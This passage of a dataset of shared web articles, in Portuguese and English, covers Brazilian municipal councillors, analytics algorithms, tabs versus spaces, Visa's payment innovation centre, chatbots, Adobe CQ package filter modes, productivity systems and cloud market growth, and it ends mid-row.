1473087827,CONTENT SHARED,3533132794957138580,4417246933621591943,1759620283893180018,,,,HTML,http://www.politize.com.br/papel-do-vereador/,Você sabe mesmo?,"OK, já entendemos que o vereador é um agente do Poder Legislativo e por isso tem a competência para cuidar das leis. Mas tem um detalhe muito importante: quais leis um vereador pode tratar? Ora, o mandato de vereador é restrito à esfera dos municípios. Portanto, faz todo sentido que as leis deliberadas, criadas, emendadas ou extintas pelos vereadores tenham efeitos exclusivos para os municípios a que eles pertencem . Essa é a primeira pegadinha importante que queremos que você esteja atento na hora de escolher seu candidato: não adianta um vereador prometer que vai mudar leis que não sejam do âmbito do município. Ele simplesmente não terá competência para tratar sobre assuntos que digam respeito a mais de um município, ou a um estado inteiro, ou mesmo ao país inteiro. Veja alguns exemplos de assuntos que podem ser tratados em lei por um vereador: Mudança, criação ou extinção de tributos municipais Criação de bairros, distritos e subdistritos dentro do município Estabelecer o chamado perímetro urbano (a área do município que é urbanizada) Sugerir nomes de ruas e avenidas Aprovar os documentos orçamentários do município Elaborar, deliberar e votar o Plano Diretor municipal Aprovar o plano municipal de educação Estabelecer as regras de zoneamento, uso e ocupação do solo Determinar o tombamento de prédios como patrimônio público, preservando a memória do município Ainda tem um detalhe importante: fique de olho em quais tipos de propostas são feitas pelo seu vereador. Não adianta um candidato prometer que vai criar leis que obviamente se chocam com as leis dos Estados, da União e da Constituição. Muito provavelmente esse projeto de lei nem será considerado dentro da Câmara de Vereadores. As atividades do vereador não podem ser resumidas apenas ao tratamento das leis do município. Existe ainda uma função ligada ao cargo de vereador que é fundamental para a própria saúde da nossa democracia. Trata-se da fiscalização das ações do Poder Executivo municipal - ou seja, das ações do prefeito. O ato de fiscalizar torna mais equilibradas as ações do Poder Executivo. Isso é essencial para que o poder do prefeito não se torne tão grande que o deixe acima da lei, como um monarca ou um ditador. É por isso que a lei prevê expressamente alguns deveres importantes dos vereadores em relação à prefeitura, como: Fiscalizar as contas da prefeitura, de forma a inibir a existência de obras superfaturadas e atrasadas Fiscalizar e controlar diretamente os atos do Poder Executivo, inclusive da administração indireta (por exemplo, visitar órgãos municipais e fazer questionamentos por escrito ao prefeito, que é obrigado por lei a prestar esclarecimentos em até 30 dias) Criar comissões parlamentares de inquérito Realizar o chamado controle externo das contas públicas, com ajuda do Tribunal de Contas do Estado ou do Município responsável Um candidato a vereador pode prometer coisas como: Fazer mudanças na lei orgânica do município Propor a criação de novos tributos, a extinção de tributos existentes ou mudanças nos tributos do município que sejam benéficas para a população Fazer mudanças importantes na lei do município relacionada à Educação O que um candidato a vereador não deveria prometer: Todas as promessas a seguir não estão ao alcance dos vereadores do nosso país. Mesmo assim, elas são feitas corriqueiramente em qualquer eleição municipal. Elas são coisas que o Poder Executivo deve fazer, ou então cabem ao governo estadual. Veja: Terminar a obra de uma rua ou uma escola Melhorar o serviço de coleta de lixo do município Implantar escola em tempo integral Aumentar o número de vagas na rede de educação Criar centros de arte e cultura Reforçar o policiamento em certos bairros Agora que já vimos as obrigações, vamos entender também quais são os benefícios garantidos aos vereadores: Imunidade parlamentar : os vereadores podem expressar livremente suas opiniões sem que possa sofrer ameaças judiciais, evitando que sua capacidade de exercer suas competências seja limitada (isso não significa que o vereador pode cometer crimes de ódio, nem fazer apologia a crimes) Direito à renúncia : o vereador pode renunciar ao seu cargo quando bem entender Direito a exercer outra profissão : o vereador pode ser médico, engenheiro, professor, policial, qualquer profissão, desde que isso não prejudique suas atividades como vereador Direito a remuneração : um vereador recebe salário pelo seu cargo na Câmara Municipal. O valor do salário varia de município para município, equivalendo a algo entre 15% e 70% do salário de um deputado estadual. E isso é tudo sobre o vereador e o seu papel dentro do nosso sistema política. Agora você sabe o que um vereador pode e não pode fazer e vai saber quais propostas podem ou não podem ser apresentadas por eles na hora das campanhas eleitorais.",pt
1473088786,CONTENT SHARED,-7620438371471449873,-1032019229384696495,-6949161051839876350,,,,HTML,https://techcrunch.com/2016/09/04/the-emerging-darwinian-approach-to-analytics-and-augmented-intelligence/,The emerging Darwinian approach to analytics and augmented intelligence,"Much has been made about the business implications of recent, rapid advancements in cognitive computing - that is, the possibility of advanced analytics tools to help human knowledge workers glean actionable insight from vast and deep lakes of historical, transactional and machine-generated information. When utilized well , cognitive tools help humans identify patterns and surface previously undetected cyberattack patterns on your company, customer buying behavior or predictive signals of catastrophic equipment failure based on readings from sensor-enabled devices. But as your business inevitably becomes more algorithmic, you're faced with the next problem: Many algorithms, once discovered, have a remarkably short shelf-life. Algorithmic excellence in analytics requires more than just great math; you must also become as agile at killing off weak or vanquished algorithms as a NASCAR pit crew changing worn tires - you need to be replacing them with promising new ones. And you need to do it continuously, quickly, mercilessly and with abandon. In the digital business era, it's the survival of the fittest algorithms. In a cybersecurity example, after an attack, defense systems are updated to nullify the threat. But cybercriminals constantly invent new algorithms and attack again. To remain secure, firms must evolve the algorithms just as quickly as the attackers. Indeed, on Wall Street, trading algorithms have been found to be profitable for just six short weeks. After a month and a half, at most, competitors reverse-engineer your math and counter-attack. For example, in cybersecurity and fraud detection, algorithmic efficacy is what separates the wheat from the chaff. It is well known that the infamous Target hack was actually detected by Target's systems; the problem was that the 200-strong security monitoring team didn't have algorithms that could identify the real hacking events from innocuous errors - it was simply too much information. The most advanced field in algorithmic fraud detection is financial services, where the stakes are highest; one firm, Knight Capital, lost more than $440 million in just 40 minutes in 2013. Since then, algorithmic innovation has only accelerated. ConvergEx , one of the largest electronic stock agency dealers in the United States, whittles down more than 500 million events a day to the few hundred that matter. The key is to build a system to easily gather and score the analytics that reduce the noise of streaming data. As Joe Weisbord, CIO of ConvergEx explained , it can take weeks and months to invent and refine algorithms that effectively identify which problems to attack. Once an organization has a set of strategies that work, they can run different strategies on different days depending on conditions, or invent new strategies based on old scenarios. Strategies can be implemented entirely from scratch, as you learn more, and as systems change and introduce new patterns of failure. Financial markets can only be as safe as the algorithms that monitor them, and those algorithms need to constantly get smarter. Algorithmic excellence in analytics requires more than just great math. Another area of rapid algorithmic evolution is predictive maintenance. Now that the industrial Internet of Things provides streaming sensor readings from most equipment, it's critical to immediately analyze those readings. That analysis predicts when a failure might occur based on algorithms that ""see"" the first signs of failure beginning to appear. At a large oil and gas company, our data scientists worked for more than a year to define and refine the right set of signals that are saving the firm tens of millions of dollars in lost oil production and down time. Within that six months, hundreds of algorithms were created, tested and retested to boil down to the most effective ones, and more are under research. It's a constant evolution of the intelligence of algorithmic systems. Fortunately, we humans have invented tools that help quicken the evolution of algorithms from potentially eons to hours or minutes. These tools allow algorithms to evolve at warp speed, by augmenting the intuition and experience of knowledge workers to help them discover new algorithms, rapidly improve them, pre-flight them and deploy them in hours or days, not months or years. Visual analytics turn pattern discovery into a process that does not necessarily require programming, although automation often helps. These tools empower data scientists to explore massive data lakes of history and match up models that can be used in real time to analyze conditions. Analytic applications put simple point-and-click interface atop sophisticated math so non-data scientists can visualize the effects of, for example, clustering customers with a variable importance algorithm. Streaming analytics inject algorithms directly into streaming data as it flows into or across a company to continuously monitor live conditions like watching for patterns of fraud as transactions happen. Predictive analytics networks help data scientists crowdsource the best algorithms that, when checked in real time, can help reduce billions of events to the few that matter. The Comprehensive R Archive Network ( CRAN ) repository of more than 7,800 R packages helps crowdsource expert statistical and graphical techniques. Continuous streaming data marts can be used to monitor an algorithm's behavior in real time, with feedback used to tweak their behavior. Machine learning helps accelerate the fitting of models and continuously retrains analytics to constantly refine parameters, allowing the analysis to always improve. Leading data-driven companies constantly think about making their algorithms stronger. By promoting a hyper-fast culture of the survival of the fittest algorithms, they will ensure that today's algorithms will be smarter tomorrow, and drive smarter business decisions for years to come. Featured Image: Cristian Bortes / Flickr UNDER A CC BY 2.0 LICENSE",en
1473097078,CONTENT SHARED,1021946628105173582,-8606737560479590536,2931396179052081633,,,,HTML,https://www.en.advertisercommunity.com/t5/Articles/Introducing-the-Google-Analytics-Demo-Account-for-Learning/ba-p/596419?nobounce,Introducing the Google Analytics Demo Account for Learning,"There are many resources available to learn Google Analytics, from the courses and training we offer, to advice from the community, or from the many books, guides, and articles written about Google Analytics. However, we've heard many of you would also like a resource so you can learn through practi...",en
1473105755,CONTENT SHARED,7507067965574797372,-4028919343899978105,-3666565354944070559,,,,HTML,http://gizmodo.uol.com.br/disputa-tabs-vs-espacos/,Um bilhão de arquivos mostram quem vence a disputa tabs vs. espaços entre programadores,"Esta é uma das maiores batalhas já travadas entre os programadores: você deveria usar a tecla tab ou cinco espaços ao recuar linhas em seu código-fonte? * Como aprender programação? * Aprenda mais sobre programação usando este baralho com trechos de código O debate, em última análise, se resume à forma como o código-fonte é exibido ao ser editado. A razão pela qual desenvolvedores se irritam é que o código fica desajeitado se o mesmo método não for usado em todo o arquivo. Isto pode se tornar especialmente complicado quando várias pessoas trabalham no mesmo projeto. O debate já se arrasta há tanto tempo que os programadores se referem a outros como ""gente de tab"" e ""gente de espaço"". Isso foi até mencionado em um episódio recente da série Silicon Valley , da HBO: Richard prefere tabs e fica irritado em ver Winnie - que trabalha para o Facebook - usando espaços. O breve relacionamento acaba por causa disso! O chileno Felipe Hoffa, que trabalha para o Google, decidiu encontrar um vencedor para este debate. Assim, ele analisou 1 bilhão de arquivos entre 14 diferentes linguagens de programação para descobrir qual método é realmente mais popular e, em seguida, publicou os resultados em um post no Medium . Os dados vieram de arquivos do GitHub armazenados no BigQuery . Ele removeu duplicatas e arquivos com menos de 10 linhas de código. O desenvolvedor também deu um voto por arquivo: assim, se o desenvolvedor usou abas e espaços, o voto foi para o método usado mais frequentemente. Por fim, os 400.000 repositórios principais foram classificados pelo número de estrelas que receberam no GitHub entre janeiro e maio de 2016. Eis os resultados: Como você pode notar a partir dos dados, o vencedor aqui são os espaços. Em toda grande linguagem de programação (fora C), os espaços foram mais utilizados nos arquivos mais populares no GitHub. Esta evidência é a mais definitiva em revelar se tabs ou espaços são mais populares no código-fonte. Mas por quê? Alguns dirão que é simples: os espaços serão exibidos da mesma forma em qualquer hardware ou software de visualização de texto, e são mais visíveis do que tabs. Enquanto isso, tabs são mais organizados e geram código-fonte mais enxuto. Sinto que o debate espaços vs. tabs ainda está longe de acabar. Imagens por HBO e Medium/@hoffa",pt
1473162790,CONTENT SHARED,-6772940823843058601,-1402490765047599382,6366377273742956136,,,,HTML,http://exame.abril.com.br/tecnologia/noticias/visa-inaugura-centro-para-inovacao-em-pagamento-digital,Visa inaugura centro para inovação em pagamento digital | EXAME.com,"São Paulo - A Visa deu mais um passo para acabar com o cartão de crédito físico. A empresa inaugura nesta quinta-feira seu primeiro centro de inovação no Brasil, localizado em sua sede na capital paulista. O foco é o desenvolvimento de novos métodos de pagamento digital a partir de parcerias com startups , empresas e desenvolvedores. ""O centro de inovação muda a forma como dialogamos com nossos desenvolvedores e clientes"", falou a EXAME.com Érico Fileno, diretor executivo de produtos da Visa no Brasil. ""Ele amplia a atuação da empresa e desenvolve inovações de uma forma mais rápida."" A ideia é que a parceria com startups traga inovação a pagamentos digitais. ""Queremos mudar a imagem de que um produto foi 'feito pela Visa' para 'habilitado pela Visa'"", falou a EXAME.com Percival Jatobá, vice-presidente de produtos da Visa no Brasil. Neste momento, o foco da Visa é em duas tecnologias que podem mudar o mercado de pagamentos digitais: biometria e internet das coisas. ""A internet das coisas vai transformar a maneira como a sociedade faz e recebe pagamentos"", diz Jatobá. ""Não teremos conexão com uma máquina, mas com várias máquinas ao mesmo tempo."" Segundo uma pesquisa da empresa, 50 bilhões de máquinas estarão interconectadas em 2020. Para o executivo, essas mudanças não assustam. Ele explica que a Visa passou por um momento de educar o mercado na transição do cartão de tarja para o chip (com o qual se usa uma senha eletrônica). ""Naquela época, fizemos um projeto de aculturamento do comércio. Com pagamentos móveis, teremos que fazer esse processo novamente."" Para que tudo isso fosse possível, no entanto, uma mudança iniciada no começo deste ano foi crucial: a permissão para que desenvolvedores externos acessem os sistemas da Visa . ""Apenas com a abertura dos nossos sistemas conseguiremos criar novas tecnologias"", falou a EXAME.com José María Ayuso, vice-presidente de produtos da Visa na América Latina. Uber dos pagamentos Pelo programa Visa Developer , a empresa já concede acessos a 11 APIs (sigla para interfaces de programa de aplicação), que permitem a comunicação entre sistemas da Visa e externos. Kits de desenvolvimento de software também foram disponibilizados. Essa estratégia, diz Ayuso, faz parte da ""uberização"" do mercado. O termo é uma alusão ao Uber , que não criou sistemas de mapeamento, pagamento ou comunicação. Em vez disso, usou APIs abertas para viabilizar o serviço. O espaço em São Paulo não é o primeiro do tipo. Outros estão em cidades como Dubai, São Francisco e Londres. Aqui, fica localizado dentro da própria sede da empresa. O espaço tem clima mais descontraído do que o restante da empresa. Produtos como relógios , pulseiras e anéis de pagamentos ficam disponíveis para testes. Ayuso diz que o Brasil foi uma escolha fácil. ""O país comporta mais da metade do volume de negócios da Visa na América Latina. De todas as transações de e-commerce feitas na América Latina, 60% são feitas aqui."" Outro fator que pesou foi o fato de que os bancos brasileiros inovam rápido. Neste início, a Visa fechou uma parceria com a Farm, aceleradora de startups. ""Afinal, a Visa também já foi uma startup e se tornou uma grande empresa devido ao pensamento disruptivo de um indivíduo, o nosso fundador"", diz Jatobá. Centros como esse podem ajudar a acabar com os cartões físicos. Mas é um plano para longo prazo. ""Talvez, no futuro, as pessoas não utilizem mais o cartão de crédito físico. Mas não acredito que a minha geração ou ainda a próxima irá descarta-lo"", diz Ayuso.",pt
1473179513,CONTENT SHARED,7358145651645216086,3217014177234377440,6294365608127342207,,,,HTML,http://maillingpmisaopaulo.campaignsender.com.br/ver_mensagem.php?id=H|748|277598|142488871283525600,[Event] Palestra Competitive Strategy and Competition,"O Capítulo São Paulo do PMI convida os executivos de negócios, lideres de equipes, gerentes e diretores de projetos, programas e portfólio a participar da Palestra Competitive Strategy and Competition proferida pelo palestrante internacional Xavier Duran, Associate MBA Director da Manchester Business School.",pt
1473181985,CONTENT SHARED,-326357109758599578,-1443636648652872475,1444039326202638086,,,,HTML,http://venturebeat.com/2016/09/05/the-chatbot-revolution-in-customer-support/,Chatbots are revolutionizing customer support,"Customer support is one the most resource-intensive departments in a company. Staff spend their day answering queries, on the telephone with customers, communicating with other departments, and much more. It is also a part of the operation that is hard to link to an ROI. Although the concept of ""customer success"" is gaining traction in the startup world (particularly in SaaS), it is still tough to report the real value a customer support team can deliver. Therefore, anything reducing the need for manpower in customer support is considered a good thing. For example, on a basic level, we have seen companies add a knowledge base to their website - a self-service area customers can browse to find answers to their questions. With the current chatbot revolution, along with the extraordinary growth of messaging applications, there is an opportunity to save money and deliver a better experience in customer support. Chatbots can handle the basic requests Chatbots can deal with basic requests. As a company, the autoresponder function of a chatbot is invaluable. Make sure you list the most common questions customers ask you. - What time do you open? - Are you open on Sundays? - Do you have any promotions on right now? - Are pets allowed in your hotel? - What is your refund policy? - Does your software integrate with Salesforce? ...and so on. Create a list of as many of these common questions as possible. Be sure to rely on actual data, real questions you have been asked many times. Each of these questions may be answered by a machine, most likely with little human interaction. Set up a chatbot that reacts on a keyword or key-sentence basis. Let it do its job while you deal with other things. Don't lose the human touch Two statistics will interest readers of this article. The first is that 50.6 percent of consumers believe a business should respond to their queries 24 hours a day, 7 days a week . That means that over half of your audience wants you to be responsive at all times. With the help of the programmed robot at your side, you will be able to satisfy these valuable customers. The second statistic is that 63.9 percent of consumers believe a business should be available and contactable via messaging applications . This is good news for your chatbot. It can respond ubiquitously across all the messaging applications your audience uses, instead of forcing customers to download an app or contact you in a way that is convenient for you, but not for them. It is important to remember that people talking to you through messaging applications require a conversation. Your users will most likely expect you to interact with them on a personal level. Although a chatbot can handle basic requests, some of your customers will want to talk to real people and will require complicated support to answer some of their more difficult questions. The best way to handle this? Set up a chatbot autoresponder to handle the first contact from your customers. If a customer asks one of the fundamental, easy-to-answer questions you have prepared answers for, you can deliver an immediate solution and a great experience. However, if a customer requires anything more complicated, be sure to have an alert system in place that will let a team member take over. You can then leverage the power of messaging applications to offer an incredible 1-on-1 personal interaction in real time. Congratulations, you saved precious manpower and delighted another customer!",en
1473186852,CONTENT SHARED,-6902744509271060072,6960073744377754728,-8104339898596295065,,,,HTML,http://www.wemblog.com/2012/04/how-to-change-package-install-behavior.html,Adobe CQ/Adobe AEM,"Use case: Suppose you want to move some content using CQ package, from one instance to another instance. Now you want to have a behavior where content on destination don't get deleted if it is not there in source package. In order to better understand the problem, Consider following example, On source you have following structure /content/.../en /content/.../en/p1 /content/.../en/p2 /content/.../en/p3 /content/.../en/p5 And on destination you have following structure /content/.../en /content/.../en/p1 /content/.../en/p2 /content/.../en/p3 /content/.../en/p4 Now when you will create package using filter root as /content/.../en on source and deploy that package on destination, You would end up deleting node /content/.../en/p4 on destination, as it is not part of source package. On package manager through UI there is no way you can specify what behavior you want for that package on destination (You want something similar to AC handling behavior). Here is something you can do to override this behavior. Solution Consider your package name as testPackage.zip Then do following mkdir foo cd foo cp testPackage.zip foo/ jar xvf testPackage.zip cd META-INF/vault vi filter.xml Add this to root def <filter root=""/content"" mode=""merge""> cd ../.. jar -cvfM <New Package Name> META-INF/ jcr_root/ Now free to use <New Package> with new behavior There are three Mode available, 1) replace: Normal behavior. Existing content is replaced completly by the imported content, i.e. is overridden or deleted accordingly. 2) merge: Existing content is not modified, i.e. only new content is added and none is deleted or modified 3) update: Existing content is only updated but never deleted If you are using API to make changes then it is available here com.day.jcr.vault.fs.api.ImportMode Well .. If you see you just created a package using file system content using simple Java package tool. Yes you can absolutely do that as long as you maintain directory structure of package i.e. you need to have following files in package (Take an example from any existing package created using package manager) filter.xml contains a serialization of the filters defined in the filters node of the package in a default file vault manner. properties.xml contains additional package properties like creation date and user. nodetypes.cnd contains a cnd serialization of all nodetypes and transitive ones used in the package. config.xml contains the file vault config that was present when exporting. If you are using maven build, You can use Day file Vault Maven plugin to create package as part of your maven deployment. Your pom.xml will have entry like this <project xmlns="" "" xmlns:xsi="" "" xsi:schemaLocation="" "" > <modelVersion>4.0.0</modelVersion> <groupId>com.day.jcr.vault</groupId> <artifactId>vault.test</artifactId> <version>0.0.1-SNAPSHOT</version> <packaging> content-package </packaging> <name>Sample Content Package Project</name> <description> Project to test the Maven Vault Plugin functionality </description> If you want to create package using maven plug in you have to use resource, Something like Note that your packaging type should be content-package. End result would be CQ/CRX package with all filters in resource section. Note: In this case you have to manage both filter.xml (Under META-INF) and <resource> tag under pom.xml for filter definition. <resource> tag under pom.xml is used by maven valut plugin to include resource in content package and filter.xml is used by package manager to include resource. There is already a enhancement request to merge these two and scheduled by later release of vault plugin. Here is some more info Vault API in CQ can be found here: Special Thanks for tobias Bocanegra from Adobe for helping to understand some of stuff",en
1473188937,CONTENT SHARED,-1472215866306072150,4417246933621591943,-8303908652949032616,,,,VIDEO,https://www.facebook.com/cidadesdossonhos/videos/1783241788589485/,Cidade dos Sonhos,"As ruas são mais do que espaços para os carros. Conheça o DOTS o ""Desenvolvimento Orientado ao Transporte Sustentável"", uma política pública capaz de transformar nossas cidades para melhor e que candidatos e candidatas à prefeitura e a Câmara Municipal precisam conhecer. Com ITDP Brasil e WRI Brasil Cidades Sustentáveis",pt
1473191115,CONTENT SHARED,4916417766268744775,3217014177234377440,6294365608127342207,,,,HTML,http://jamesclear.com/goals-systems,[GTD] Forget About Setting Goals. Focus on This Instead.,"We all have things that we want to achieve in our lives - getting into the better shape, building a successful business, raising a wonderful family, writing a best-selling book, winning a championship, and so on. And for most of us, the path to those things starts by setting a specific and actionable goal. At least, this is how I approached my life until recently. I would set goals for classes I took, for weights that I wanted to lift in the gym, and for clients I wanted in my business. What I'm starting to realize, however, is that when it comes to actually getting things done and making progress in the areas that are important to you, there is a much better way to do things. It all comes down to the difference between goals and systems. Let me explain. Free Download: I've put together a workbook to help you outline your goals, set a schedule to work on them, and commit to it. It will help you turn your goals into a system so you take consistent action. Click here to get it, free. The Difference Between Goals and Systems What's the difference between goals and systems? If you're a coach, your goal is to win a championship. Your system is what your team does at practice each day. If you're a writer, your goal is to write a book. Your system is the writing schedule that you follow each week. If you're a runner, your goal is to run a marathon. Your system is your training schedule for the month. If you're an entrepreneur, your goal is to build a million dollar business. Your system is your sales and marketing process. Now for the really interesting question: If you completely ignored your goals and focused only on your system, would you still get results? For example, if you were a basketball coach and you ignored your goal to win a championship and focused only on what your team does at practice each day, would you still get results? I think you would. As an example, I just added up the total word count for the articles I've written this year. (You can see them all here .) In the last 12 months, I've written over 115,000 words. The typical book is about 50,000 to 60,000 words, so I have written enough to fill two books this year. All of this is such a surprise because I never set a goal for my writing. I didn't measure my progress in relation to some benchmark. I never set a word count goal for any particular article. I never said, ""I want to write two books this year."" What I did focus on was writing one article every Monday and Thursday. And after sticking to that schedule for 11 months, the result was 115,000 words. I focused on my system and the process of doing the work. In the end, I enjoyed the same (or perhaps better) results. Let's talk about three more reasons why you should focus on systems instead of goals. 1. Goals reduce your current happiness. When you're working toward a goal, you are essentially saying, ""I'm not good enough yet, but I will be when I reach my goal."" The problem with this mindset is that you're teaching yourself to always put happiness and success off until the next milestone is achieved. ""Once I reach my goal, then I'll be happy. Once I achieve my goal, then I'll be successful."" SOLUTION: Commit to a process, not a goal. Choosing a goal puts a huge burden on your shoulders. Can you imagine if I had made it my goal to write two books this year? Just writing that sentence stresses me out. But we do this to ourselves all the time. We place unnecessary stress on ourselves to lose weight or to succeed in business or to write a best-selling novel. Instead, you can keep things simple and reduce stress by focusing on the daily process and sticking to your schedule, rather than worrying about the big, life-changing goals. When you focus on the practice instead of the performance, you can enjoy the present moment and improve at the same time. 2. Goals are strangely at odds with long-term progress. You might think your goal will keep you motivated over the long-term, but that's not always true. Consider someone training for a half-marathon. Many people will work hard for months, but as soon as they finish the race, they stop training. Their goal was to finish the half-marathon and now that they have completed it, that goal is no longer there to motivate them. When all of your hard work is focused on a particular goal, what is left to push you forward after you achieve it? This can create a type of ""yo-yo effect"" where people go back and forth from working on a goal to not working on one. This type of cycle makes it difficult to build upon your progress for the long-term. SOLUTION: Release the need for immediate results. I was training at the gym last week and I was doing my second-to-last set of clean and jerks. When I hit that rep, I felt a small twinge in my leg. It wasn't painful or an injury, just a sign of fatigue near the end of my workout. For a minute or two, I thought about doing my final set. Then, I reminded myself that I plan to do this for the rest of my life and decided to call it a day. In a situation like the one above, a goal-based mentality will tell you to finish the workout and reach your goal. After all, if you set a goal and you don't reach it, then you feel like a failure. But with a systems-based mentality, I had no trouble moving on. Systems-based thinking is never about hitting a particular number, it's about sticking to the process and not missing workouts. Of course, I know that if I never miss a workout, then I will lift bigger weights in the long-run. And that's why systems are more valuable than goals. Goals are about the short-term result. Systems are about the long-term process. In the end, process always wins. 3. Goals suggest that you can control things that you have no control over. You can't predict the future. (I know, shocking.) But every time we set a goal, we try to do it. We try to plan out where we will be and when we will make it there. We try to predict how quickly we can make progress, even though we have no idea what circumstances or situations will arise along the way. SOLUTION: Build feedback loops. Each Friday, I spend 15 minutes filling out a small spreadsheet with the most critical metrics for my business. For example, in one column I calculate the conversion rate (the percentage of website visitors that join my free email newsletter each week). I rarely think about this number, but checking that column each week provides a feedback loop that tells me if I'm doing things right. When that number drops, I know that I need to send high quality traffic to my site. Feedback loops are important for building good systems because they allow you to keep track of many different pieces without feeling the pressure to predict what is going to happen with everything. Forget about predicting the future and build a system that can signal when you need to make adjustments. Fall In Love With Systems None of this is to say that goals are useless. However, I've found that goals are good for planning your progress and systems are good for actually making progress. Goals can provide direction and even push you forward in the short-term, but eventually a well-designed system will always win. Having a system is what matters. Committing to the process is what makes the difference. Free Download: I've put together a workbook to help you outline your goals, set a schedule to work on them, and commit to it. It will help you turn your goals into a system so you take consistent action. Click here to get it, free. Read Next",en
1473193030,CONTENT SHARED,-8083832514395551465,-4432034906943587380,8771323526822715521,,,,HTML,http://gitgraphjs.com/examples/gitflowsupport.html,git flow with support,"Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sint, ducimus, qui fuga corporis veritatis doloribus iure nulla optio dolores maiores dolorum ullam alias cum libero obcaecati cupiditate sit illo aperiam possimus voluptatum similique neque explicabo quibusdam aspernatur dolorem. Quod, corrupti magni explicabo nam sequi nesciunt accusamus aliquam dolore!",la
1473193058,CONTENT REMOVED,-8083832514395551465,-4432034906943587380,8771323526822715521,,,,HTML,http://gitgraphjs.com/examples/gitflowsupport.html,git flow with support,"Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sint, ducimus, qui fuga corporis veritatis doloribus iure nulla optio dolores maiores dolorum ullam alias cum libero obcaecati cupiditate sit illo aperiam possimus voluptatum similique neque explicabo quibusdam aspernatur dolorem. Quod, corrupti magni explicabo nam sequi nesciunt accusamus aliquam dolore!",la
1473212318,CONTENT SHARED,-4201751526335049119,881856221521045800,-4784027575318899159,,,,HTML,https://www.ibm.com/blogs/internet-of-things/bring-dinosaur-life/,Bring a dinosaur to life with Watson IoT Platform and Node-RED,"Video Get your dinosaur to roar The IoT is the convergence of the physical and digital worlds, with data being fed to the cloud from different devices for different purposes. The challenge for many developers lies in getting data from their device to a place that they can analyze and respond to this data. Experts in hardware design and firmware development, can quickly become lost trying to put together the different pieces of their cloud service: infrastructure, security, cognitive analytics, etc. IBM's Watson IoT Platform addresses this need, seamlessly connecting hardware to IBM servers around the globe. The Watson IoT platform gives developers access to a wide range of tools and capabilities, including intelligent analytics, enterprise-grade security, and device management. In a step by step demo, Chris Anderson, Director of Engineering will show us how to he is using Watson IoT Platform with Node-RED and Rasberry Pis to send the sensor data back to Watson IoT, process the data, and then trigger a toy dinosaur to move or roar when certain criteria are met. For a full recipe and step-by-step guide to hacking a dinosuar with IBM technology please visit our Developer Works website , or sign up for a free Bluemix trial . Watch the video With a value of over $71 trillion, can you afford not to be a part of the Internet of Things? The IBM IoT Platform helps you build, manage, and quickly launch IoT applications whether you are a fast-moving startup or an enterprise. Get started on your IoT journey at Watch the video The Internet of Things gives us access to the data from millions of devices. But how does it actually work, what does it mean, and what can we do with all that data? We've popped together an easy to follow tutorial from our Think Academy to help you get started with IoT. [...]",en
1473216992,CONTENT SHARED,-8025433077701076525,881856221521045800,-4784027575318899159,,,,HTML,http://corporate.canaltech.com.br/noticia/computacao-na-nuvem/amazon-tem-31-do-mercado-de-infraestrutura-em-nuvem-segundo-gartner-77149/,"Amazon tem 31% do mercado de infraestrutura em nuvem, segundo Gartner - Computação na Nuvem","Por Redação | em A Amazon Web Services (AWS) continua liderando o mercado de infraestrutura de nuvem, segundo os números divulgados pela consultoria Gartner. A empresa passou o segundo trimestre de 2016 com 31% da quota de mercado, seguida da Microsoft, IBM e Google. A Amazon tem conseguido a liderança devido à sua ampla gama de serviços em nuvem, principalmente com a IaaS (infraestrutura como serviço). Desde 2006, quando assumiu o topo dos serviços de infraestrutura em nuvem, a companhia continua a crescer rapidamente no ramo, melhorando consideravelmente sua quota. Apesar disso, a concorrência da Microsoft, IBM e Google tem aumentado a um ritmo impressionante. No segundo trimestre, o mercado global de serviços de infraestrutura em nuvem expandiu 51% na comparação anual, com Microsoft e Google atingindo mais de 100% de crescimento. As vendas do AWS cresceram 53% no trimestre anterior, mas sua taxa de crescimento tem diminuído gradualmente, com 63% no quatro trimestre de 2015 e 57% no primeiro trimestre de 2016. Para combater a concorrência no setor, um dos objetivos da Amazon é oferecer uma oferta de nuvem mais abrangente. Por isso, a empresa abriu dois novos centos de dados em Mumbai, na Índia, para acelerar a expansão de seus serviços de nuvem na região da Ásia-Pacífico. Os novos data centers ajudarão a empresa a conquistar novos clientes, explorando a crescente demanda por serviços de infraestrutura de nuvem na região. Outra tendência importante divulgada pela Gartner é que as quatro principais empresas do setor aumentaram juntas sua participação de mercado, de 51% no quatro trimestre de 2015 para 54% no segundo trimestre de 2016. Isso deve-se ao fato de tais empresas realizarem aquisições, como no caso da Cloud9 pela Amazon, e também por oferecerem mais ofertas e qualidade em seus serviços.",pt
1473217286,CONTENT SHARED,3541770362851368020,881856221521045800,-4784027575318899159,,,,HTML,http://www.bitmag.com.br/2016/08/servicos-na-nuvem-publica-mais-que-duplicam-ate-2020/,Serviços na nuvem pública mais que duplicam até 2020 - B!T magazine,"É um volume muito considerável, que representa mais do dobro dos 96,5 bilhões que serão registados até ao final de 2016. Em termos de crescimento anual, os serviços na nuvem pública irão recrudescer a 20,4% ao ano. Segundo a IDC, o software na cloud representou 83,7% do total das receitas na nuvem pública em 2015, sendo que o restante foi para infraestrutura como serviço (IaaS). Software na cloud abrange a capacitação de produtos na nuvem em três mercados chave: aplicações como serviço, software de infraestrutura como serviço e desenvolvimento e implementação de aplicações. Apesar da discrepância, é no IaaS e no PaaS (plataforma como serviço) que as receitas vão crescer mais rapidamente. ""O software na cloud vai ultrapassar rapidamente a distribuição de software tradicional nos próximos cinco anos, crescendo três vezes mais que o mercado global e tornando-se um catalisador significativo de incremento para todos os mercados de software funcional"", explica Benjamin McGrath , analista de modelos de negócio e SaaS. ""Em 2020, cerca de metade de todas as aquisições de software empresarial será de software preparado com serviços, e o software na nuvem irá constituir mais de um quarto das vendas."" As indústrias que estão a liderar os gastos em serviços na nuvem pública são a manufatura, banca e serviços profissionais , que representam quase um terço das receitas em 2016. As indústria que verão o maior incremento são mídia, telecomunicações e varejo. ""O cloud computing está a quebrar barreiras tecnológicas tradicionais, à medida que líderes de Núnegócio e as suas organizaçoes de TI dependem mais da nuvem para distribuir de forma flexível os recursos de TI com menores custos e maior rapidez"", complementa Eileen Smith , diretora do programa de Customer Insights & Analysis. Isto levará as organizações a serem mais ágeis na adaptação às mudanças do mercado e a tomarem mais riscos, visto que já não são limitadas por sistemas de legado. Sem surpresa, os EUA são o maior mercado para serviços na nuvem pública, representando quase dois terços das receitas. Segue-se a Europa Ocidental e a Ásia-Pacífico, excluindo o Japão. A América Latina e a Ásia-Pacífico com Japão terão o maior crescimento no período em causa - mas todas as regiões vão subir. O Worldwide Semiannual Public Cloud Services Spending Guide quantifica as compras de 